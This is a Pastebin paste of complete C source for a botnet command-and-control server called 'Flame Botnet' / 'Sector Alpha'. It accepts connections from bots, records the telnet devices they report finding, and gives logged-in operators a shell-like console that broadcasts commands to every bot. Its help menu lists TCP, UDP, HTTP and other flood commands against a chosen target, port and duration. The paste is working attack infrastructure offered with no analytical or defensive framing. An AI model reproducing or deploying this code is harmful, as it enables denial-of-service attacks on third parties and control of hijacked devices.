Advertisement
SBDSprite

Flame Botnet server.c

Jul 8th, 2017
140
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 27.44 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <stdint.h>
  4. #include <inttypes.h>
  5. #include <string.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <netdb.h>
  9. #include <unistd.h>
  10. #include <time.h>
  11. #include <fcntl.h>
  12. #include <sys/epoll.h>
  13. #include <errno.h>
  14. #include <pthread.h>
  15. #include <signal.h>
  16. #include <arpa/inet.h>
  17. #define MAXFDS 1000000
  18.  
  19. int bot_port;
  20. int usr_port;
  21. int srv_threads;
  22.  
  23. struct login_info {
  24.     char username[100];
  25.     char password[100];
  26. };
  27. static struct login_info accounts[200];
  28.  
  29. struct clientdata_t
  30. {
  31.     uint32_t ip;
  32.     char connected;
  33. } clients[MAXFDS];
  34.  
  35. struct telnetdata_t
  36. {
  37.     int connected;
  38. } managements[MAXFDS];
  39.  
  40. struct args
  41. {
  42.     int sock;
  43.     struct sockaddr_in cli_addr;
  44. };
  45.  
  46. static volatile FILE *telFD;
  47. static volatile FILE *fileFD;
  48. static volatile int epollFD = 0;
  49. static volatile int listenFD = 0;
  50. static volatile int OperatorsConnected = 0;
  51. static volatile int TELFound = 0;
  52. static volatile int scannerreport;
  53.  
  54.  
  55. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  56. {
  57.     int total = 0, got = 1;
  58.     while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n')
  59.     {
  60.         got = read(fd, buffer + total, 1);
  61.         total++;
  62.     }
  63.     return got;
  64. }
  65. void trim(char *str)
  66. {
  67.     int i;
  68.     int begin = 0;
  69.     int end = strlen(str) - 1;
  70.     while (isspace(str[begin])) begin++;
  71.     while ((end >= begin) && isspace(str[end])) end--;
  72.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  73.     str[i - begin] = '\0';
  74. }
  75. static int make_socket_non_blocking (int sfd)
  76. {
  77.     int flags, s;
  78.     flags = fcntl (sfd, F_GETFL, 0);
  79.     if (flags == -1) {
  80.         perror ("fcntl");
  81.         return -1;
  82.     }
  83.     flags |= O_NONBLOCK;
  84.     s = fcntl (sfd, F_SETFL, flags);
  85.     if (s == -1)
  86.     {
  87.         perror ("fcntl");
  88.         return -1;
  89.     }
  90.     return 0;
  91. }
  92. static int create_and_bind (char *port)
  93. {
  94.     struct addrinfo hints;
  95.     struct addrinfo *result, *rp;
  96.     int s, sfd;
  97.     memset (&hints, 0, sizeof (struct addrinfo));
  98.     hints.ai_family = AF_UNSPEC;
  99.     hints.ai_socktype = SOCK_STREAM;
  100.     hints.ai_flags = AI_PASSIVE;
  101.     s = getaddrinfo (NULL, port, &hints, &result);
  102.     if (s != 0)
  103.     {
  104.         fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  105.         return -1;
  106.     }
  107.     for (rp = result; rp != NULL; rp = rp->ai_next)
  108.     {
  109.         sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  110.         if (sfd == -1) continue;
  111.         int yes = 1;
  112.         if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  113.         s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  114.         if (s == 0)
  115.         {
  116.             break;
  117.         }
  118.         close (sfd);
  119.     }
  120.     if (rp == NULL)
  121.     {
  122.         fprintf (stderr, "Could not bind\n");
  123.         return -1;
  124.     }
  125.     freeaddrinfo (result);
  126.     return sfd;
  127. }
  128. void broadcast(char *msg, int us, char *sender)
  129. {
  130.         int sendMGM = 1;
  131.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  132.         char *wot = malloc(strlen(msg) + 10);
  133.         memset(wot, 0, strlen(msg) + 10);
  134.         strcpy(wot, msg);
  135.         trim(wot);
  136.         time_t rawtime;
  137.         struct tm * timeinfo;
  138.         time(&rawtime);
  139.         timeinfo = localtime(&rawtime);
  140.         char *timestamp = asctime(timeinfo);
  141.         trim(timestamp);
  142.         int i;
  143.         for(i = 0; i < MAXFDS; i++)
  144.         {
  145.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  146.                 if(sendMGM && managements[i].connected)
  147.                 {
  148.                     send(i, "\x1b[35m", 5, MSG_NOSIGNAL);
  149.                     send(i, sender, strlen(sender), MSG_NOSIGNAL);
  150.                     send(i, ": ", 2, MSG_NOSIGNAL);
  151.                 }
  152.                 printf("sent to fd: %d\n", i);
  153.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  154.                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m> \x1b[0m", 13, MSG_NOSIGNAL);
  155.                 else send(i, "\n", 1, MSG_NOSIGNAL);
  156.         }
  157.         free(wot);
  158. }
  159. void *BotEventLoop(void *useless)
  160. {
  161.     struct epoll_event event;
  162.     struct epoll_event *events;
  163.     int s;
  164.     events = calloc (MAXFDS, sizeof event);
  165.  
  166.     while (1)
  167.     {
  168.         int n, i;
  169.         n = epoll_wait (epollFD, events, MAXFDS, -1);
  170.         for (i = 0; i < n; i++)
  171.         {
  172.             if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  173.             {
  174.                 clients[events[i].data.fd].connected = 0;
  175.                 close(events[i].data.fd);
  176.                 continue;
  177.             }
  178.             else if (listenFD == events[i].data.fd)
  179.             {
  180.                while (1)
  181.                {
  182.                     struct sockaddr in_addr;
  183.                     socklen_t in_len;
  184.                     int infd, ipIndex;
  185.  
  186.                     in_len = sizeof in_addr;
  187.                     infd = accept (listenFD, &in_addr, &in_len);
  188.                     if (infd == -1)
  189.                     {
  190.                         if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  191.                         else
  192.                         {
  193.                             perror ("accept");
  194.                             break;
  195.                         }
  196.                     }
  197.  
  198.                     clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  199.                     int dup = 0;
  200.                     for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  201.                     {
  202.                         if(!clients[ipIndex].connected || ipIndex == infd) continue;
  203.                         if(clients[ipIndex].ip == clients[infd].ip)
  204.                         {
  205.                             dup = 1;
  206.                             break;
  207.                         }
  208.                     }
  209.                     if(dup)
  210.                     {
  211.                         if(send(infd, "!* DUP\n", 13, MSG_NOSIGNAL) == -1)
  212.                         {
  213.                             close(infd);
  214.                             continue;
  215.                         }
  216.                         close(infd);
  217.                            continue;
  218.                     }
  219.                     s = make_socket_non_blocking (infd);
  220.                     if (s == -1)
  221.                     {
  222.                         close(infd);
  223.                         break;
  224.                     }
  225.                     event.data.fd = infd;
  226.                     event.events = EPOLLIN | EPOLLET;
  227.                     s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  228.                     if (s == -1)
  229.                     {
  230.                         perror ("epoll_ctl");
  231.                         close(infd);
  232.                         break;
  233.                     }
  234.                     clients[infd].connected = 1;
  235.                 }
  236.                 continue;
  237.             }
  238.             else
  239.             {
  240.                 int datafd = events[i].data.fd;
  241.                 struct clientdata_t *client = &(clients[datafd]);
  242.                 int done = 0;
  243.                 client->connected = 1;
  244.                 while (1)
  245.                 {
  246.                     ssize_t count;
  247.                     char buf[2048];
  248.                     memset(buf, 0, sizeof buf);
  249.                     while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0)
  250.                     {
  251.                         if(strstr(buf, "\n") == NULL) { done = 1; break; }
  252.                         trim(buf);
  253.                         if(strcmp(buf, "PING") == 0) {
  254.                             if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1)
  255.                             {
  256.                                 done = 1;
  257.                                 break;
  258.                             }
  259.                             continue;
  260.                         }
  261.                         if(strstr(buf, "REPORT ") == buf)
  262.                         {
  263.                             char *line = strstr(buf, "REPORT ") + 7;
  264.                             fprintf(telFD, "%s\n", line);
  265.                             fflush(telFD);
  266.                             TELFound++;
  267.                             continue;
  268.                         }
  269.                         if(strstr(buf, "PROBING") == buf)
  270.                         {
  271.                             char *line = strstr(buf, "PROBING");
  272.                             scannerreport = 1;
  273.                             continue;
  274.                         }
  275.                         if(strstr(buf, "REMOVING PROBE") == buf)
  276.                         {
  277.                             char *line = strstr(buf, "REMOVING PROBE");
  278.                             scannerreport = 0;
  279.                             continue;
  280.                         }
  281.                         if(strcmp(buf, "PONG") == 0)
  282.                         {
  283.                             continue;
  284.                         }
  285.                         printf("buf: \"%s\"\n", buf);
  286.                     }
  287.                     if (count == -1)
  288.                     {
  289.                         if (errno != EAGAIN)
  290.                         {
  291.                             done = 1;
  292.                         }
  293.                         break;
  294.                     }
  295.                     else if (count == 0)
  296.                     {
  297.                         done = 1;
  298.                         break;
  299.                     }
  300.                     if (done)
  301.                     {
  302.                         client->connected = 0;
  303.                         close(datafd);
  304.                     }
  305.                 }
  306.             }
  307.         }
  308.     }
  309. }
  310. unsigned int BotsConnected()
  311. {
  312.     int i = 0, total = 0;
  313.     for(i = 0; i < MAXFDS; i++)
  314.     {
  315.         if(!clients[i].connected) continue;
  316.         total++;
  317.     }
  318.     return total;
  319. }
  320. void *TitleWriter(void *sock)
  321. {
  322.     int datafd = (int)sock;
  323.     char string[2048];
  324.     while(1)
  325.     {
  326.         memset(string, 0, 2048);
  327.         sprintf(string, "%c]0;Sector Alpha - Bots: %d | Users: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  328.         if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  329.         sleep(2);
  330.     }
  331. }
  332. int Find_Login(char *str)
  333. {
  334.     FILE *fp;
  335.     int line_num = 0;
  336.     int find_result = 0, find_line=0;
  337.     char temp[512];
  338.  
  339.     if((fp = fopen("login.txt", "r")) == NULL){
  340.         return(-1);
  341.     }
  342.     while(fgets(temp, 512, fp) != NULL){
  343.         if((strstr(temp, str)) != NULL){
  344.             find_result++;
  345.             find_line = line_num;
  346.         }
  347.         line_num++;
  348.     }
  349.     if(fp)
  350.         fclose(fp);
  351.     if(find_result == 0)return 0;
  352.     return find_line;
  353. }
  354. void *BotWorker(void *sock)
  355. {
  356.     int datafd = (int)sock;
  357.     int find_line;
  358.     OperatorsConnected++;
  359.     pthread_t title;
  360.     char buf[2048];
  361.     char* username;
  362.     char* password;
  363.     memset(buf, 0, sizeof buf);
  364.     char botnet[2048];
  365.     memset(botnet, 0, 2048);
  366.     char botcount [2048];
  367.     memset(botcount, 0, 2048);
  368.     char statuscount [2048];
  369.     memset(statuscount, 0, 2048);
  370.  
  371.     FILE *fp;
  372.     int i=0;
  373.     int c;
  374.     fp = fopen("login.txt", "r");
  375.    
  376.     while(!feof(fp))
  377.     {
  378.         c=fgetc(fp);
  379.         ++i;
  380.     }
  381.    
  382.     int j=0;
  383.     rewind(fp);
  384.  
  385.     while(j!=i-1)
  386.     {
  387.         fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  388.         ++j;
  389.     }
  390.  
  391.     if(send(datafd, "\x1b[35mUsername:\x1b[37m ", 22, MSG_NOSIGNAL) == -1) goto end;
  392.     if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  393.     trim(buf);
  394.     char* nickstring;
  395.     sprintf(accounts[find_line].username, buf);
  396.     nickstring = ("%s", buf);
  397.     find_line = Find_Login(nickstring);
  398.     if(strcmp(nickstring, accounts[find_line].username) == 0)
  399.     {
  400.         if(send(datafd, "\x1b[35mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  401.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  402.  
  403.         char clearscreen [2048];
  404.         memset(clearscreen, 0, 2048);
  405.         sprintf(clearscreen, "\033[2J\033[1;1H");
  406.         if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  407.  
  408.         trim(buf);
  409.         if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  410.             memset(buf, 0, 2048);
  411.             goto Banner;
  412.     }
  413.    
  414.     failed:
  415.     if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  416.     char failed_line1[100];
  417.     char failed_line2[100];
  418.     char failed_line3[100];
  419.     char failed_line4[100];
  420.     char failed_line5[100];
  421.     char failed_line6[100];
  422.     char failed_line7[100];
  423.     char failed_line8[100];
  424.     char failed_line9[100];
  425.     char failed_line10[100];
  426.     char failed_line11[100];
  427.     char failed_line12[100];
  428.  
  429.     sprintf(failed_line1, "\x1b[1;31m              _________                   _______  \r\n");
  430.     sprintf(failed_line2, "\x1b[1;33m    _-----____/   ========================|______| \r\n");
  431.     sprintf(failed_line3, "\x1b[1;32m    |           ______________/                    \r\n");
  432.     sprintf(failed_line4, "\x1b[1;34m    |    ___--_/(_)       ^                        \r\n");
  433.     sprintf(failed_line5, "\x1b[1;35m    |___ ---                                       \r\n");
  434.     sprintf(failed_line6, "\x1b[1;31mI'M GONNA GIVE YOU TO THE COUNT OF TEN TO GET YOUR, UGLY\r\n");
  435.     sprintf(failed_line7, "\x1b[1;31mYELLA, NO GOOD KEESTER OFF MY PROPERTY, BEFORE I PUMP\r\n");
  436.     sprintf(failed_line8, "\x1b[1;31mYOUR GUTS FULL'A LEAD...\r\n");
  437.     sprintf(failed_line9, "\x1b[1;31mONE ...\r\n");
  438.     sprintf(failed_line10,"\x1b[1;31mTWO ...\r\n");
  439.     sprintf(failed_line11,"\x1b[1;31mTEN ...\r\n");
  440.     sprintf(failed_line12,"\x1b[1;31mKEEP THE CHANGE YAH FILTHY ANIMAL.\r\n");
  441.     if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  442.     if(send(datafd, failed_line2, strlen(failed_line2), MSG_NOSIGNAL) == -1) goto end;
  443.     if(send(datafd, failed_line3, strlen(failed_line3), MSG_NOSIGNAL) == -1) goto end;
  444.     if(send(datafd, failed_line4, strlen(failed_line4), MSG_NOSIGNAL) == -1) goto end;
  445.     if(send(datafd, failed_line5, strlen(failed_line5), MSG_NOSIGNAL) == -1) goto end;
  446.     if(send(datafd, failed_line6, strlen(failed_line6), MSG_NOSIGNAL) == -1) goto end;
  447.     if(send(datafd, failed_line7, strlen(failed_line7), MSG_NOSIGNAL) == -1) goto end;
  448.     if(send(datafd, failed_line8, strlen(failed_line8), MSG_NOSIGNAL) == -1) goto end;
  449.     sleep(2);
  450.     if(send(datafd, failed_line9, strlen(failed_line9), MSG_NOSIGNAL) == -1) goto end;
  451.     sleep(1);
  452.     if(send(datafd, failed_line10, strlen(failed_line10), MSG_NOSIGNAL) == -1) goto end;
  453.     sleep(1);
  454.     if(send(datafd, failed_line11, strlen(failed_line11), MSG_NOSIGNAL) == -1) goto end;
  455.     sleep(1);
  456.     if(send(datafd, failed_line12, strlen(failed_line12), MSG_NOSIGNAL) == -1) goto end;
  457.     sleep(1);
  458.     goto end;
  459.  
  460.     Banner:
  461.     pthread_create(&title, NULL, &TitleWriter, sock);
  462.     char ascii_banner_line1   [5000];
  463.     char ascii_banner_line2   [5000];
  464.     char ascii_banner_line3   [5000];
  465.     char ascii_banner_line4   [5000];
  466.     char ascii_banner_line5   [5000];
  467.     char ascii_banner_line6   [5000];
  468.     char ascii_banner_line7   [5000];
  469.  
  470.     sprintf(ascii_banner_line1, "\x1b[1;31m    ________                        ____        __             __ \r\n");
  471.     sprintf(ascii_banner_line2, "\x1b[1;31m   / ____/ /___ _____ ___  ___     / __ )____  / /_____  ___  / /_\r\n");
  472.     sprintf(ascii_banner_line3, "\x1b[1;31m  / /_  / / __ `/ __ `__ \\/ _ \\   / __  / __ \\/ __/ __ \\/ _ \\/ __/\r\n");
  473.     sprintf(ascii_banner_line4, "\x1b[1;31m / __/ / / /_/ / / / / / /  __/  / /_/ / /_/ / /_/ / / /  __/ /_  \r\n");
  474.     sprintf(ascii_banner_line5, "\x1b[1;31m/_/   /_/\\__,_/_/ /_/ /_/\\___/  /_____/\\____/\\__/_/ /_/\\___/\\__/  \r\n");
  475.     sprintf(ascii_banner_line6, "\x1b[1;37m|\x1b[1;36m------------------- \x1b[1;34m[ \x1b[1;36mWelcome to Sector Alpha \x1b[1;34m] \x1b[1;36m-------------------\x1b[1;37m|\r\n");
  476.     sprintf(ascii_banner_line7, "\x1b[1;31mNotes: Please redirect your flame botnet to our DNS servers.\r\n\r\n");
  477.    
  478.     if(send(datafd, ascii_banner_line1,  strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  479.     if(send(datafd, ascii_banner_line2,  strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  480.     if(send(datafd, ascii_banner_line3,  strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  481.     if(send(datafd, ascii_banner_line4,  strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  482.     if(send(datafd, ascii_banner_line5,  strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  483.     if(send(datafd, ascii_banner_line6,  strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  484.     if(send(datafd, ascii_banner_line7,  strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  485.  
  486.     while(1)
  487.     {
  488.         if(send(datafd, "\x1b[1;37m[root@botnet ~]# \x1b[1;32m", 26, MSG_NOSIGNAL) == -1) goto end;
  489.         break;
  490.     }
  491.     pthread_create(&title, NULL, &TitleWriter, sock);
  492.     managements[datafd].connected = 1;
  493.  
  494.     while(fdgets(buf, sizeof buf, datafd) > 0)
  495.     {  
  496.         if(strstr(buf, ".bots"))
  497.         {
  498.             char botcount [5000];
  499.             memset(botcount, 0, 5000);
  500.             sprintf(botcount, "\x1b[1;36mBOTS: %d | TELNET DEVICES: %d\r\n", BotsConnected(), TELFound);
  501.             if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  502.             while(1)
  503.             {
  504.                 if(send(datafd, "\x1b[1;37m[root@botnet ~]# \x1b[1;32m", 26, MSG_NOSIGNAL) == -1) goto end;
  505.                 break;
  506.             }
  507.             continue;
  508.         }
  509.  
  510.         if(strstr(buf, ".status"))
  511.         {
  512.             char statuscount [5000];
  513.             memset(statuscount, 0, 5000);
  514.             sprintf(statuscount, "\x1b[1;36mTELNET DEVICES: %d | STATUS: %d\r\n", TELFound, scannerreport);
  515.             if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  516.             while(1)
  517.             {
  518.                 if(send(datafd, "\x1b[1;37m[root@botnet ~]# \x1b[1;32m", 26, MSG_NOSIGNAL) == -1) goto end;
  519.                 break;
  520.             }
  521.             continue;
  522.         }
  523.  
  524.         if(strstr(buf, ".help"))
  525.         {
  526.             pthread_create(&title, NULL, &TitleWriter, sock);
  527.             char helpline1  [5000];
  528.             char helpline2  [5000];
  529.             char helpline3  [5000];
  530.             char helpline4  [5000];
  531.             char helpline5  [5000];
  532.             char helpline6  [5000];
  533.             char helpline7  [5000];
  534.             char helpline8  [5000];
  535.             char helpline9  [5000];
  536.             char helpline10 [5000];
  537.             char helpline11 [5000];
  538.             char helpline12 [5000];
  539.             char helpline13 [5000];
  540.             char helpline14 [5000];
  541.  
  542.             sprintf(helpline1,  "\x1b[1;31m- [ CLIENTSIDE COMMANDS ] -\r\n");
  543.             sprintf(helpline2,  "\x1b[1;32m@ \x1b[1;36m!* TCP <TARGET> <PORT> <TIME> <NETMASK> <METHOD> <PACKETSIZE> <INTERVAL>\r\n");
  544.             sprintf(helpline3,  "\x1b[1;32m@ \x1b[1;36m!* UDP <TARGET> <PORT> <TIME> <NETMASK> <PACKETSIZE> <INTERVAL>\r\n");
  545.             sprintf(helpline4,  "\x1b[1;32m@ \x1b[1;36m!* HTTP <METHOD> <TARGET> <PORT> / <TIME> <POWER>\r\n");
  546.             sprintf(helpline5,  "\x1b[1;32m@ \x1b[1;36m!* HOLD <TARGET> <PORT> <TIME>\r\n");
  547.             sprintf(helpline6,  "\x1b[1;32m@ \x1b[1;36m!* JUNK <TARGET> <PORT> <TIME>\r\n");
  548.             sprintf(helpline7,  "\x1b[1;32m@ \x1b[1;36m!* STD <TARGET> <PORT> <TIME>\r\n");
  549.             sprintf(helpline8,  "\x1b[1;32m@ \x1b[1;36m!* KILLATTK\r\n");
  550.             sprintf(helpline9,  "\x1b[1;31m- [ SERVERSIDE COMMANDS ] -\r\n");
  551.             sprintf(helpline10, "\x1b[1;32m@ \x1b[1;36m.logout\r\n");
  552.             sprintf(helpline11, "\x1b[1;32m@ \x1b[1;36m.config\r\n");
  553.             sprintf(helpline12, "\x1b[1;32m@ \x1b[1;36m.clear\r\n");
  554.             sprintf(helpline13, "\x1b[1;32m@ \x1b[1;36m.stop\r\n");
  555.             sprintf(helpline14, "\x1b[1;32m@ \x1b[1;36m.bots\r\n");
  556.        
  557.  
  558.             if(send(datafd, helpline1,  strlen(helpline1),  MSG_NOSIGNAL) == -1) goto end;
  559.             if(send(datafd, helpline2,  strlen(helpline2),  MSG_NOSIGNAL) == -1) goto end;
  560.             if(send(datafd, helpline3,  strlen(helpline3),  MSG_NOSIGNAL) == -1) goto end;
  561.             if(send(datafd, helpline4,  strlen(helpline4),  MSG_NOSIGNAL) == -1) goto end;
  562.             if(send(datafd, helpline5,  strlen(helpline5),  MSG_NOSIGNAL) == -1) goto end;
  563.             if(send(datafd, helpline6,  strlen(helpline6),  MSG_NOSIGNAL) == -1) goto end;
  564.             if(send(datafd, helpline7,  strlen(helpline7),  MSG_NOSIGNAL) == -1) goto end;
  565.             if(send(datafd, helpline8,  strlen(helpline8),  MSG_NOSIGNAL) == -1) goto end;
  566.             if(send(datafd, helpline9,  strlen(helpline9),  MSG_NOSIGNAL) == -1) goto end;
  567.             if(send(datafd, helpline10, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end;
  568.             if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  569.             if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  570.             if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  571.             if(send(datafd, helpline14, strlen(helpline14), MSG_NOSIGNAL) == -1) goto end;
  572.             pthread_create(&title, NULL, &TitleWriter, sock);
  573.             while(1)
  574.             {
  575.                 if(send(datafd, "\x1b[1;37m[root@botnet ~]# \x1b[1;32m", 26, MSG_NOSIGNAL) == -1) goto end;
  576.                 break;
  577.             }
  578.             continue;
  579.         }
  580.  
  581.         if(strstr(buf, ".botkill"))
  582.         {
  583.             char botkill [2048];
  584.             memset(botkill, 0, 2048);
  585.             sprintf(botkill, "!* BOTKILL\r\n");
  586.             broadcast(buf, datafd, botkill);
  587.             continue;
  588.         }
  589.  
  590.         if(strstr(buf, ".stop"))
  591.         {
  592.             char killattack [2048];
  593.             memset(killattack, 0, 2048);
  594.             sprintf(killattack, "!* KILLATTK\r\n");
  595.             broadcast(buf, datafd, killattack);
  596.             continue;
  597.         }
  598.  
  599.         if(strstr(buf, ".clear"))
  600.         {
  601.             char clearscreen [2048];
  602.             memset(clearscreen, 0, 2048);
  603.             sprintf(clearscreen, "\033[2J\033[1;1H");
  604.             if(send(datafd, clearscreen,       strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  605.             if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  606.             if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  607.             if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  608.             if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  609.             if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  610.             if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  611.             if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  612.             while(1)
  613.             {
  614.                 if(send(datafd, "\x1b[1;37m[root@botnet ~]# \x1b[1;32m", 26, MSG_NOSIGNAL) == -1) goto end;
  615.                 break;
  616.             }
  617.             continue;
  618.         }
  619.  
  620.         if(strstr(buf, ".config"))
  621.         {
  622.             pthread_create(&title, NULL, &TitleWriter, sock);
  623.             char configline1  [5000];
  624.             char configline2  [5000];
  625.             char configline3  [5000];
  626.             char configline4  [5000];
  627.  
  628.             sprintf(configline1,  "\x1b[1;31m- [ SERVER CONFIGURATION ] -\r\n");
  629.             sprintf(configline2,  "\x1b[1;32m@ \x1b[1;36mUSER PORT: %d\r\n", usr_port);
  630.             sprintf(configline3,  "\x1b[1;32m@ \x1b[1;36mBOT PORT: %d\r\n", bot_port);
  631.             sprintf(configline4,  "\x1b[1;32m@ \x1b[1;36mTHREADS: %d\r\n", srv_threads);
  632.        
  633.  
  634.             if(send(datafd, configline1,  strlen(configline1),  MSG_NOSIGNAL) == -1) goto end;
  635.             if(send(datafd, configline2,  strlen(configline2),  MSG_NOSIGNAL) == -1) goto end;
  636.             if(send(datafd, configline3,  strlen(configline3),  MSG_NOSIGNAL) == -1) goto end;
  637.             if(send(datafd, configline4,  strlen(configline4),  MSG_NOSIGNAL) == -1) goto end;
  638.  
  639.             pthread_create(&title, NULL, &TitleWriter, sock);
  640.             while(1)
  641.             {
  642.                 if(send(datafd, "\x1b[1;37m[root@botnet ~]# \x1b[1;32m", 26, MSG_NOSIGNAL) == -1) goto end;
  643.                 break;
  644.             }
  645.             continue;
  646.         }
  647.  
  648.         if(strstr(buf, ".logout"))
  649.         {
  650.             char logoutmessage [2048];
  651.             memset(logoutmessage, 0, 2048);
  652.             sprintf(logoutmessage, "BYE, %s", accounts[find_line].username);
  653.             if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  654.             sleep(5);
  655.             goto end;
  656.         }
  657.        
  658.         trim(buf);
  659.         if(send(datafd, "\x1b[1;37m[root@botnet ~]# \x1b[1;32m", 26, MSG_NOSIGNAL) == -1) goto end;
  660.         if(strlen(buf) == 0) continue;
  661.         printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  662.  
  663.         FILE *LogFile;
  664.         LogFile = fopen("server.log", "a");
  665.         time_t now;
  666.         struct tm *gmt;
  667.         char formatted_gmt [50];
  668.         char lcltime[50];
  669.         now = time(NULL);
  670.         gmt = gmtime(&now);
  671.         strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  672.         fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  673.         fclose(LogFile);
  674.         broadcast(buf, datafd, accounts[find_line].username);
  675.         memset(buf, 0, 2048);
  676.     }
  677.     end:
  678.     managements[datafd].connected = 0;
  679.     close(datafd);
  680.     OperatorsConnected--;
  681. }
  682. void *BotListener(int port)
  683. {
  684.     int sockfd, newsockfd;
  685.     socklen_t clilen;
  686.     struct sockaddr_in serv_addr, cli_addr;
  687.     sockfd = socket(AF_INET, SOCK_STREAM, 0);
  688.     if (sockfd < 0) perror("ERROR opening socket");
  689.     bzero((char *) &serv_addr, sizeof(serv_addr));
  690.     serv_addr.sin_family = AF_INET;
  691.     serv_addr.sin_addr.s_addr = INADDR_ANY;
  692.     serv_addr.sin_port = htons(port);
  693.     if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  694.     listen(sockfd,5);
  695.     clilen = sizeof(cli_addr);
  696.     while(1)
  697.     {
  698.         newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  699.         if (newsockfd < 0) perror("ERROR on accept");
  700.             pthread_t thread;
  701.             pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  702.     }
  703. }
  704. int main (int argc, char *argv[], void *sock)
  705. {
  706.     signal(SIGPIPE, SIG_IGN);
  707.     int s, threads, port;
  708.         struct epoll_event event;
  709.     if (argc != 4)
  710.     {
  711.         fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  712.         exit (EXIT_FAILURE);
  713.     }
  714.     else
  715.     {
  716.         usr_port = atoi(argv[3]);
  717.         bot_port = atoi(argv[1]);
  718.         srv_threads = atoi(argv[2]);
  719.     }
  720.  
  721.     port = atoi(argv[3]);
  722.     telFD = fopen("telnet.txt", "a+");
  723.     threads = atoi(argv[2]);
  724.     listenFD = create_and_bind (argv[1]);
  725.     if (listenFD == -1) abort ();
  726.     s = make_socket_non_blocking (listenFD);
  727.     if (s == -1) abort ();
  728.     s = listen (listenFD, SOMAXCONN);
  729.     if (s == -1)
  730.     {
  731.         perror("listen");
  732.         abort();
  733.     }
  734.  
  735.     epollFD = epoll_create1 (0);
  736.     if (epollFD == -1)
  737.     {
  738.         perror("epoll_create");
  739.         abort();
  740.     }
  741.     event.data.fd = listenFD;
  742.     event.events = EPOLLIN | EPOLLET;
  743.     s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  744.     if (s == -1)
  745.     {
  746.         perror("epoll_ctl");
  747.         abort();
  748.     }
  749.     pthread_t thread[threads + 2];
  750.     while(threads--)
  751.     {
  752.         pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  753.     }
  754.     pthread_create(&thread[0], NULL, &BotListener, port);
  755.     while(1)
  756.     {
  757.         broadcast("PING", -1, "LEL");
  758.         sleep(60);
  759.     }
  760.     close (listenFD);
  761.     return EXIT_SUCCESS;
  762. }
Advertisement
